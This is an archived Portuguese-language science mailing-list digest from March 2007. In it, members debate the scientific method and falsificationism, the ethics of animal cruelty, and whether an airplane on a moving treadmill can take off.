> > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > >> longo prazo quando todos
> > > >> ganham, e essa possibilidade deve ser considerada e
> > > >> buscada permanentemente.
> > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > >> tirar o que vc já
> > > >> ganhou prejudicando ou não prejudicando outras
> > > >> pessoas. Esse é o normal na
> > > >> maioria das nossas comunidades.
.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico (o que, como, porque, pra que, e os cambau)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 10:57

Ferrari, fodidas a parte eu acredito que os problemas
no qual abordo se referem aos seguintes aspectos:

1) O que é ciência ??
2) O que é verdade ???
3) Quais verdades podemos conhecer??

Variantes/consequências dos três itens acima:
i) O método cientifico é completo e unico??
ii) A navalha de Ocam é uma lei ou uma boa prática??
iii) Existe método melhor que o outro e ainda o
"ocam´s razor" pode ser aplicado pra definir o melhor
método ??

Variantes/consequências das Variantes/consequências:

i) Se a navalha de ocam é apenas uma boa prática,
então ela não serve para afirmar o que é verdadeiro no
sentido ontológico da palavra. Algo mais complexo pode
ser a verdadeira causa do fenômeno.
ii) Teorias não falseáveis são usadas como verdades
científicas pela comunidade científica.
iii) Estou quase acreditando no pastor da Igreja perto
de casa :p.




--- Ferrari <emailferrari@yahoo.com.br> escreveu:

> Olá Chicão!
>
> Prazer em conhece-lo. Vou tentar colaborar com os
> seus
> questionamentos. Para fazer isto, primeiro vou lhe
> dizer o seguinte. Semantica é foda! Muita foda! Foda
> mesmo! Apego a semantica, então, é foda que não
> acaba
> mais. (por favor, não leve a mal o meu jeito de me
> expressar). Continuando... Semantica é foda porque
> fode a comunicação. Sendo assim, minha primeira
> tentativa de colaboração com a sua investigação é
> lhe
> aconselhar a ser um poliglota semantico. Dito isto,
> vamos a sua questão sobre o método cientifico.
>
> Chicao Valadares >>> talvez os métodos aplicados
> pela
> "ciência" sejam bom para responder "O COMO" mas não
> "O
> PORQUÊ".
>
>
> MÉTODO CIENTIFICO (passo-a-passo)
>
> 1) CIENCIA EXPERIMENTAL:
>
> a) Se pergunta: "o que" aconteceu?
> b) Abre o olho e se responde: aconteceu isto.
>
> 2) CIENCIA EXPERIMENTAL:
>
> a) Se pergunta: "como" isto aconteceu? De que forma?
> b) Observa (num periodo de tempo) e se responde:
> isto
> aconteceu desta forma.
>
> 3) CIENCIA TEORICA:
>
> a) Se pergunta: porque isto aconteceu? (busca da
> força-causa do que aconteceu)
> b) Se pergunta: porque isto aconteceu da forma que
> aconteceu? (busca do sistema-causa na forma como
> aconteceu)
>
> 4) CIENCIA TEORICA:
>
> a) Se responde: isto aconteceu por causa disto.
> (teoria da causa)
> b) Se responde: isto aconteceu da forma que
> aconteceu
> por causa disto(teoria do sistema)
>
> 5) CIENCIA EXPERIMENTAL:
>
> a) se é verdade que isto aconteceu (no passado) por
> causa disto, e se o comportamento do universo
> realmente é ciclico (causa e efeito), então, isto
> tem
> que reacontecer (no presente) igual descreve a
> teoria.
> se reacontecer, é verdade cientifica.
>
> b) se é verdade que isto aconteceu (no passado) da
> forma que aconteceu por causa disto, e se o
> comportamento do universo realmente é ciclico (causa
> e
> efeito), então, isto tem que reacontecer (no
> presente)
> da mesma forma. se reacontecer, é verdade
> cientifica.
>
> 6) USUÁRIO DA VERDADE CIENTIFICA:
>
> Puta que o pariu! Esta verdade cintifica "serve" de
> mapa perfeiro para eu obter sucesso nisto aqui!
>
>
> vou responder suas outras perguntas.
> abraçomano
> ferrari
>
>
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
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>
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O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 11:14

Alberto, isso que voce escreveu é verdade mesmo??

Então a coisa é mais séria que eu pensava...
Talvez seja correto dizer que o que se propaga como
ciência por aí seja um "fundamentalismo cético"(gostei
desse termo :p).


"...Por que então se dá preferência a verificações
falseadoras em detrimento das corroboradoras? Ora,
isto nem sempre acontece, conquanto seja esta uma das
regras propostas pelo falsificacionismo. Por exemplo,
tanto a teoria da relatividade, quanto a mecânica
quântica são teorias físicas amplamente aceitas,
graças a terem sido corroboradas por previsões que se
confirmaram; e pouco valor se deu a um grande número
de testes que as falsearam. Por outro lado, estas duas
teorias são, concomitantemente, aceitas pelos físicos,
conquanto existam fortes argumentos a "provar" que
cada uma destas duas teorias falseia a outra, e ambas
falseiam a teoria de Maxwell, que também é aceita
como verdadeira. Certos ou errados, neste caso, os
físicos modernos, dentre os quais se inclui Popper,
fizeram uma opção contrária à norma falsificacionista,
e não há como criticá-los por essa conduta, a menos
que se pretenda atribuir ao falsificacionismo uma
qualidade que ele não possui: a de estabelecer
critérios absolutos de veracidade..."

Fonte: http://ecientificocultural.com/ECC2/artigos/metcien3.htm

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SUBJECT: Re: [ciencialist] Re: P/ Bruna - Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 11:45

Eu não luto para melhorar as condições de criadouros e abatedouros,
não acredito nesse tipo de falácia bem-estarista.
Só existe uma maneira de melhorar as condições a estes animais; não existindo produção animal.

Vc tem o direito de pensar o que quiser, aliás, até que digam o contráro, esse país é democrático.
Deus não falou comigo, ao menos diretamente, o que escrevo aqui é a percepção de uma realidade.Cada um tem seu tempo para perceber certas nuances, por isso, não insistirei nesse assunto.


Hasta la vista,

Bruna Carolina



oraculo333 <oraculo@atibaia.com.br> escreveu:
Como tenho dito, compreendo sua luta para melhores condições de
criadouros e abatedouros, e compartilho desse desejo, mas não penso
que comer carne seja, de qualquer forma, um pecado, eticamente errado
ou daninho. E penso que é direito de todos escolherem sua posição
neste caso.

Um abraço.

Homero





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ Silvio Cordeiro - Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 11:58

Sr. Silvio Cordeiro,

Por que deve ser utilizada esse dicotomia,
ajudar somente os da nossa espécie e não ter consideração pelas outras espécies?
Para o senhor é impossível ajudar crianças, velhos e animais abandonados, por exemplo?Sua capacidade de compaixão é tão limitada assim que deve ser dirigida apenas a uma classe?

Se sua resposta for sim, lástimo sua pobreza espiritual.
Condeno-me por dirigir estas duras palavras ao senhor, que tem a idade para ser meu pai, ou meu avô, pois saiba que meu pai, que amo profundamente,
ensinou-me a ter um coração generoso, compaixão pela vida acima de tudo e respeito pela natureza.
Por isso, na minha humildade, não farei aqui uma exibição da minha caridade,
porém, lhe confesso, que as pessoas com quem convivo e que ajudam aos animais, encontram tempo e disposição para ajudar muito quem necessita da sua própria espécie, e o contrário também é verdadeiro,
quem critica os que protegem os animais nada fazem pelos seus semelhantes humanos!!!

Atenciosamente,

um abraço e adeus,

Bruna

Silvio Cordeiro <scordeiroes@superig.com.br> escreveu:
No mundo atual se os humanos não respeitam nem os de sua própria espécie - a miséria e as doenças recobrem os humanos - essa de ter dó de animais passa mais pela vaidade, pelo desejo de se mostrar "diferente": quem diz ter um dó de animais possivelmente jamais ajudou de forma eficáz outros irmãos seus.

Amém.....

silvio.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 17, 2007 10:36 PM
Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais

Olá Murilo

Murilo: "Caramba, Horáculo...
Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."

Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
quero saber é em que ponto devemos colocar a linha que divide a
aplicação concreta dessa compaixão.

Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?

Em algum momento, sob pena de tornar o argumento absurdo, temos de
relativizar essa compaixão, não?

Agora, o que a realidade de milhões de anos tem a ver com esta
questão? Também não é uma pergunta retórica, eu realmente queria saber
sua resposta sobre isso.

Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
menor idéia do que isso seja.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Caramba, Horáculo...
> Vc já foi melhor!
> Frente à realidade estabelecida há milhões de anos, ela só está
falando de
> algo denominado de ''empatia'', ou ''compaixão''.
> abr/M.
>
>
> >From: "oraculo333" <oraculo@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> >Date: Sat, 17 Mar 2007 19:36:14 -0000
> >
> >Olá Bruna
> >
> >Bruna: "A ética universal está na razão de darmos a mesma a
> >consideração ao sofrimento de outros seres como damos ao nosso próprio
> >sofrimento, independente da espécie, do sexo e das habilidades
> >intelectuais."
> >
> >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> >questão de crença, devemos acreditar em você e pronto?
> >
> >Quer dizer, de onde tirou tal informação, que é uma das mais
> >importantes e mais polêmicas da filosofia, a existência ou não de uma
> >ética universal? Como só você encontrou a resposta, que tem dividido e
> >assombrado filósofos por séculos?
> >
> >Seria interessante saber como chegou a essa conclusão, o que a embasa,
> >quais as evidências, etc. Poderia resolver grandes problemas
> >filosóficos do ser humano.
> >
> >Em segundo, fiquei curioso com este trecho em especial, em relação a
> >parte prática, a forma de aplicar esse, generoso, princípio:
> >
> >Bruna: "independente da espécie, do sexo e das habilidades
intelectuais."
> >
> >Todos os seres vivos, independente da espécie? E das habilidades
> >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> >
> >E animais selvagens, devemos destruir todas as cidades, para que
> >possam voltar a habitar seus ambientes originais?
> >
> >E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
> >"dor"?
> >
> >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> >causem a morte dos micro-organismos que habitam ali? Se pegar
> >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> >pessoas que vivem em áreas da África assoladas por doenças como
> >elefantíase, não podem aplicar as drogas que matam as moscas
> >transmissoras?
> >
> >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> >quero saber como pretende aplicar sua alegação a casos concretos, já
> >que não há nela nenhuma limitação ou forma de decidir a linha de
"corte".
> >
> >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> >agir nos casos concretos que citei?
> >
> >Um abraço.
> >
> >Homero
> >
> >
> >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> ><brunacribas@> escreveu
> > >
> > > A ética universal está na razão de darmos a mesma a consideração ao
> >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > independente da espécie, do sexo e das habilidades intelectuais.
> > >
> > > Abraços,
> > >
> > > da Bruna
> > >
> > >
> > > José Renato <jrma@> escreveu:
> >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> >vamos
> > > achar a ética universal se não a procurarmos? Parece-me que a
> >questão está
> > > muito menos em encontrá-la, do que na força necessária para
> >considerá-la e
> > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> >sobra
> > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > []s
> > > José Renato
> > > .............................................
> > >
> > > From: "Chicao Valadares" <chicaovaladares@To:
> > > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, March 12, 2007 12:07 PM
> > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >
> > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > universal vamos ficar apenas nos achismos e no plano
> > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > história de escolha lembra aquele velho dilema entre
> > > > determinismo e acaso. Mas isso fica pra um outro
> > > > debate....
> > > >
> > > > Abraços.
> > > >
> > > > --- José Renato <jrma@> escreveu:
> > > >
> > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > >> nossa vida é construída,
> > > >> destruída ou mantida por permanentes escolhas que
> > > >> fazemos e pelas decisões
> > > >> que tomamos. Encontrar as melhores decisões e
> > > >> escolhas para cada situação é
> > > >> a pedra de toque que os sábios buscam há tempos.
> > > >> Como elas são praticamente
> > > >> infinitas alguns roteiros básicos são copilados para
> > > >> orientações gerais. Mas
> > > >> no particular, cada um vai ter de optar, escolher e
> > > >> decidir. Ou deixar que
> > > >> decidam por nós.
> > > >> Faço outros comentários no corpo do e-mail, após
> > > >> JR2, OK?
> > > >> ..............................................
> > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > >> <ciencialist@yahoogrupos.com.br>
> > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >>
> > > >>
> > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > >> >
> > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > >> O
> > > >> > atleta sofre muito durante a preparação para bater
> > > >> > seus recordes com a intenção de ter o prazer de
> > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > >> > valorização,
> > > >> > admiração, etc. Dor e prazer não são indicativos
> > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > >> caixa de
> > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > >> já
> > > >> > era perseguido por Sócrates com muito empenho.
> > > >> Perceba
> > > >> >
> > > >> > que buscar a felicidade, a glória e o gozo é o
> > > >> > objetivo maior e legítimo do ser humano. As
> > > >> > dificuldades ocorrem quando minha visão é curta e
> > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > >> > troca é prejudicial a
> > > >> > mim e a todos que uso ou despacho para obter a
> > > >> > felicidade a qualquer custo. Vou postar uma
> > > >> reflexão
> > > >> > que fiz sobre isso, provocada há tempos
> > > >> > pelo Bulcão, na lista Acropolis.
> > > >> >
> > > >> >>>>>>Concordo com a relatividade.
> > > >> >
> > > >> >
> > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > >> sua
> > > >> > existência passa a buscar viver de verdade, ter um
> > > >> amor de
> > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > >> e confortam
> > > >> > durante algum tempo. Mas o bom mesmo é
> > > >> > a realidade com todas as sua conseqüências.
> > > >> >
> > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > >> saiba mais
> > > >> > verdades que uma pessoa comum. Com isso você
> > > >> pensaria
> > > >> > que conhece a realidade e seria bom para você.
> > > >> > Não gostaria de entrar na MATRIX???
> > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > >> sair dela, da geléia geral
> > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > >> meios de comunicação
> > > >> acionados pelos interesses comerciais e políticos.
> > > >> Viver na realidade ou na
> > > >> verdade dá mais segurança, harmonia,
> > > >> tranquilidade... O melhor em tudo é não
> > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > >> isso que a Ciência
> > > >> busca.
> > > >> >
> > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > >> diversas
> > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > >> melhores
> > > >> > momentos da vida vieram através da realidade e da
> > > >> > lucidez em percebê-la. Nela me realizo.
> > > >> >
> > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > >> sair dela.
> > > >> >
> > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > >> > fazem... Quanto a não
> > > >> > ser punido ou não sentir remorsos não é uma
> > > >> certeza
> > > >> > obtida de antemão.
> > > >> > Quando menos se espera vem a tal crise existencial
> > > >> e
> > > >> > aí o cara se
> > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > >> > traidor, etc. e nem sabe
> > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > >> e
> > > >> > mentira.
> > > >> >
> > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > >> aquelas
> > > >> > que não sentem nenhum remorso em fazer ações
> > > >> > consideradas más.
> > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > >> conscientemente alguém gera
> > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > >> para mim" que vai geram um
> > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > >> estudos dos diversos
> > > >> órgãos ou componentes do nosso sistema cognitivo
> > > >> identifica-se regiões onde
> > > >> estão os "bancos de dados" e procedimentos de
> > > >> avaliação ética-moral. Célebre
> > > >> é o caso do trabalhador que sofreu dano no célebro
> > > >> provocado por um prego
> > > >> disparado por uma pistola pneumática. Penetrou na
> > > >> cabeça, mas ele continuou
> > > >> consciente e aparentemente não prejudicou em nada
> > > >> seus movimentos e
> > > >> atividades intelectuais. Após a remoção do prego,
> > > >> recuperação e volta ao
> > > >> trabalho, observou-se que o cara estava com um
> > > >> comportamento diferente,
> > > >> aético, entrão, imoral, inconveniente... A partir
> > > >> daí começou-se a fazer
> > > >> testes mais acurados sobre o funcionamento dessa
> > > >> região afetada e de outras
> > > >> regiões do cérebro.
> > > >> >
> > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > >> pode
> > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > >> > cruéis patológicos têm orgasmos ao praticar
> > > >> violência,
> > > >> > mas é um distúrbio mental que não me parece grande
> > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > >> minha
> > > >> > experiência de vida para discernir o que é melhor,
> > > >> o
> > > >> > que deve ser evitado e o que precisa ser superado,
> > > >> é
> > > >> > um exercício diário que requer tempo, coragem e
> > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > >> outros
> > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > >> que tenha
> > > >> > alguma chance de obter melhores resultados...
> > > >> >
> > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > >> você
> > > >> > disse é relativo.
> > > >> JR2 - Em sã consciência somos capazes das maiores
> > > >> crueldades e das maiores
> > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > >> fazer alguma ignomínia.
> > > >> Basta estar na situação adequada para praticá-la. E
> > > >> como sempre consideramos
> > > >> algum ponto de referência pode estar certo que não
> > > >> só o resto como tudo o
> > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > >> um ponto ótimo
> > > >> inatingível como referência ou norte.
> > > >> >
> > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > >> ilude
> > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > >> > sofistica as formas burlar, de modo a ser à prova
> > > >> de
> > > >> > qualquer investigação, até que alguém de dentro do
> > > >> > esquema se sente enganado e, antes de ser
> > > >> eliminado,
> > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > >> >
> > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > >> > ficarem sob segredo.
> > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > >> ser
> > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > >> mau
> > > >> > também pode ser vantajoso ao invés de ser bom.
> > > >> Note
> > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > >> jogos).
> > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > >> > esse principio você é igual às siglas. [ ... ]
> > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > >> longo prazo quando todos
> > > >> ganham, e essa possibilidade deve ser considerada e
> > > >> buscada permanentemente.
> > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > >> tirar o que vc já
> > > >> ganhou prejudicando ou não prejudicando outras
> > > >> pessoas. Esse é o normal na
> > > >> maioria das nossas comunidades.
.


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SUBJECT: P/ Chicão - Re: Sobre o Método Cientifico
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 14:58

Olá Chicão

Chicão: "Alberto, isso que voce escreveu é verdade mesmo??"

Bem, muitos aqui na lista, e na verdade em todo meio científico,
discordam, com todo respeito, da posição do Alberto. Provavelmente as
próximas mensagens dos co-listeiros refletiram esse "impasse" entre o
Alberto e a física moderna..:-)

De um modo geral, a escolha é mesmo a eficácia. Olhe em volta, e veja
o que poderia ser construído sem a eficácia do método e do
conhecimento científico. Seu computador envia dados para os nossos,
através de uma rede mundial de computadores, que se baseia em
satélites geo-estacinários, que usam por sua vez uma correção de tempo
prevista, exigida, pela relatividade.

Mesmo que falseie a relatividade, que se demonstre que está errada, a
nova teoria deverá explicar porque os satélites tem de corrigir o
tempo de acordo com ela, ou não funcionam como deveriam (GPS, por
exemplo).

Teorias, mesmo as que tem lacunas, apenas explicam de forma eficaz
fenômenos e enquanto fizerem isso (e outra melhor não surgir) devem
ser aceitas e utilizadas.

E nisso concordo totalmente com o Alberto, todos concordam, não há
critérios absolutos de verdade, mas sempre é possível determinar a
eficácia a partir de resultados mensuráveis.

Um abraço.

Homero




SUBJECT: Re: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 18:37

Homero, quando é que vc vai aprender a trocar idéias usando sua capacidade
intelectual e os conhecimentos que vc dispõe, sem viseiras, irritações
infantis e outro hábitos que prejudicam o raciocínio?
Depois de tudo explicado vc não conseguiu perceber que a resposta do
problema depende do ponto de referência utilizado para a medição da
velocidade. No caso apresentado, há duas principais: um ponto no solo; um
ponto na esteira que se desloca. No primeiro caso o avião voa, e nesse caso
vc já está de acordo. Já no segundo caso, não voa. Nesse segundo caso,
quando tomamos como referência a esteira para medir a velocidade do avião,
tanto faz ele ter rodas, esquis, carlinga, fuselagem... Como já falei
anteriormente vc pode medir a velocidade do avião em relação à esteira
usando as rodas ou um aparelho laser, utilizado em testes de velocidade,
como as apresentadas pelas revistas de carros, tipo 4Rodas. Perceba que,
nesse segundo caso, sempre que o avião se deslocar sobre a esteira
infinitesimalmente para frente - com qualquer velocidade - a esteira rola em
sentido contrário na mesma velocidade, deixando-o praticamente parado em
relação ao chão e ao ar que o rodeia. Nesse caso o avião não levanta vôo. É
só pensar um pouco...
[]s
José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 1:07 PM
Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
problemas sim


Olá Jose Renato

Renato: "Ricardo, que o avião vai ser empurrado para frente não há
dúvidas. A questão depende de como está medindo a velocidade do avião."

Que absurdo, Renato!!! Quer dizer que o movimento do avião depende de
onde se mede a velocidade dele??!?!?! Se medirmos nas rodas, ele está
parado e não decola, se medirmos em relação ao ar que passa por ele,
ele está se movimentando e decola??!?!?!

Que absurdo, Renato!

O avião se move, isso até você acabou entendendo. Se medir a
velocidade em relação ao solo ou ao ar que passa pelas asas, ele se
move a velocidade de X. Se medir o giro das rodas, elas, AS RODAS se
movem a velocidade de 2X, porque a esteira as gira a velocidade X,
enquanto o movimento do avião as gira a velocidade X (resultando em 2 X).

Medir a velocidade DAS RODAS só tem sentido em automóvies, pois estes
usam a TRAÇÃO para se mover, e esse movimento equivale ao giro destas.

Mas, o que faria se o avião tivesse eskis, Renato??? Eles NÃO GIRAM.

A única velocidade, o ÚNICO ponto de referencia que importa em um
avião, são as asas e a passagem de ar por elas. Um avião PARADO em
relação ao chão, com as rodas IMÓVEIS, mas dentro de um túnel de vento
(ou parado no chão do aeroporto durante uma tempestade de vento),
DECOLARÁ, ou melhor, terá uma diferença de pressão nas superfícies das
asas que permitirá que flutue ou saia do solo.

Veja se entende, um avião com TODOS os referenciais indicando que está
PARADO, mas com um ÚNICO referencial indicando que se move, o ar
passando pelas asas, DECOLA, VOA, SE ELEVA, ignorando todos os outros
referenciais.

Portanto, sua alegação abaixo é absurda, e indica enorme incompreensão
do problema todo, e desconhecimento total sobre aviões e decolagens.

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo, que o avião vai ser empurrado para frente não há dúvidas. A
questão
> depende de como está medindo a velocidade do avião. Qual o seu ponto de
> referência para a medida da velocidade. Uma primeira possibilidade é
medir a
> velocidade pelo rodar das rodas do avião sobre a esteira. Nesse
caso, onde o
> ponto de referência para a medição da velocidade está na esteira, o
> deslocamento do avião é compensado ou anulado pelo da esteira em
sentido
> contrário. O avião ficará praticamente parado sobre a esteira e não
vai ter
> sustentação para alçar vôo. Uma segunda possibilidade é medir a
velocidade
> através GPS ou de sistema aerodinâmico tipo tubo de Pitot ou
semelhante.
> Nesse caso, em que o ponto de referência para a medição da
velocidade é o
> chão ou a velocidade do ar em movimento contrário ao deslocamento do
avião,
> o avião poderá adquirir velocidade suficiente para alçar vôo.
> []s
> José Renato
> ......................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 07, 2007 10:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> decola SEM PROBLEMAS..:-)
>
>
> > José Renato,
> >
> > Realmente você chegou ao que considero o ponto inicial de
discordância,
> > especificamente, entre nós dois.
> >
> > Para mim é inquestionável que o avião se deslocará para frente sim.
> > Independente da velocidade do avião do enunciado se referir à
velocidade
> > em
> > relação ao solo ou em relação à esteira.
> >
> > Se o atrito puder impedir a decolagem, o que não acredito, isso só
> > ocorrerá
> > com para velocidades maiores, quando o atrito será mais relevante.
> >
> >> JR - Confirme se até aqui ficou claro para vc que o avião ficará
[...]
> >
> > Para mim, até aqui, ficou claro que discordamos neste ponto
básico. Da
> > mesma
> > forma que vc tem a sensação que precisa me explicar as bases do
problema,
> > eu
> > tb tenho a mesma certeza de que vc é que precisa entender melhor
questões
> > básicas da física envolvida.
> >
> > []s Ricardo
> >
> >
> > ----- Original Message -----
> > From: "José Renato" <jrma@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, March 07, 2007 10:18 PM
> > Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> > decola SEM PROBLEMAS..:-)
> >
> >
> >> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o
entendimento do
> >> problema, item a item. Faço comentários no texto abaixo, após JR
-, de
> >> modo
> >> a facilitar o desenvolvimento das idéias:
> >> .....................................................
> >>
> >> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >> Sent: Tuesday, March 06, 2007 7:06 AM
> >> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim -
O avião
> >> decola SEM PROBLEMAS..:-)
> >>
> >>
> >>> José Renato,
> >>>
> >>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
> >>> avião
> >>> é
> >>> progressivamente puxado para trás, se a esteira estiver
continuamente
> >>> rodando para trás. Começando com uma velocidade determinada, até
chegar
> >>> à
> >>> velocidade da esteira.
> >> JR - A proposta de "testar" o que ocorreria quando o avião
estiver com
> >> motores desligados e a esteira fosse acionada foi só para ajustar
que,
> >> normalmente, há um atrito significativo entre a esteira e o avião
através
> >> do
> >> que quer que seja: rodas, esquis, fuselagem...
> >>>
> >>> Veja bem, eu concordo que devemos considerar o atrito, é claro.
Mas a
> >>> descrição da frase acima não corresponde em nada ao problema
proposto. O
> >>> avião e a esteira começam parados, o avião liga seu motor,
então, apenas
> >>> se
> >>> ele começar a andar para frente, a esteira começara a andar para
trás. E
> >>> o
> >>> atrito, de no máximo 2 vezes o usual, não será mais forte que o
empuxo
> >>> do
> >>> motor. Então o avião andará para frente.
> >> JR - OK, o atrito existe e está sendo considerado! Então vem a
etapa em
> >> que
> >> os motores são ligados e o avião começa a se deslocar para frente
sobre a
> >> esteira e, *simultaneamente*, a esteira começa a se deslocar para
trás,
> >> na
> >> mesma velocidade do avião. Agora, vem um detalhe importante: como
está
> >> sendo
> >> medida a velocidade do avião? Vamos considerar que a velocidade
do avião
> >> é
> >> medida por um velocímetro nele acoplado, semelhante ao que as
revistas de
> >> automóveis usam para fazer os testes de carros: uma roda
calibrada ou um
> >> foco de luz sobre o piso da esteira onde o avião está se deslocando.
> >> Assim
> >> que o avião aumenta a velocidade e atinge 100km/h - medida como
se fosse
> >> um
> >> carro em teste - a esteira corre também na mesma velocidade de
100km/h,
> >> para
> >> trás. Em relação a esteira o avião está a 100km/h, mas em relação
ao chão
> >> onde a esteira está apoiada e ao ar que os cerca, está praticamente
> >> parado.
> >>>
> >>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião
anda para
> >>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
> >>> esteira
> >>> ficam parados. Para o avião e a esteira ficarem parados, o atrito
> >>> estaria
> >>> acima de qualquer caso real razoável.
> >> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
> >> motores
> >> do avião são acionados o atrito normal existente é superado pelo
empuxo e
> >> ele se desloca sobre a esteira como faria em qualquer pista.
> >>>
> >>> Este assunto está se estendendo a ponto de confundir mais do que
> >>> esclarecer,
> >>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
> >>> recorrentes
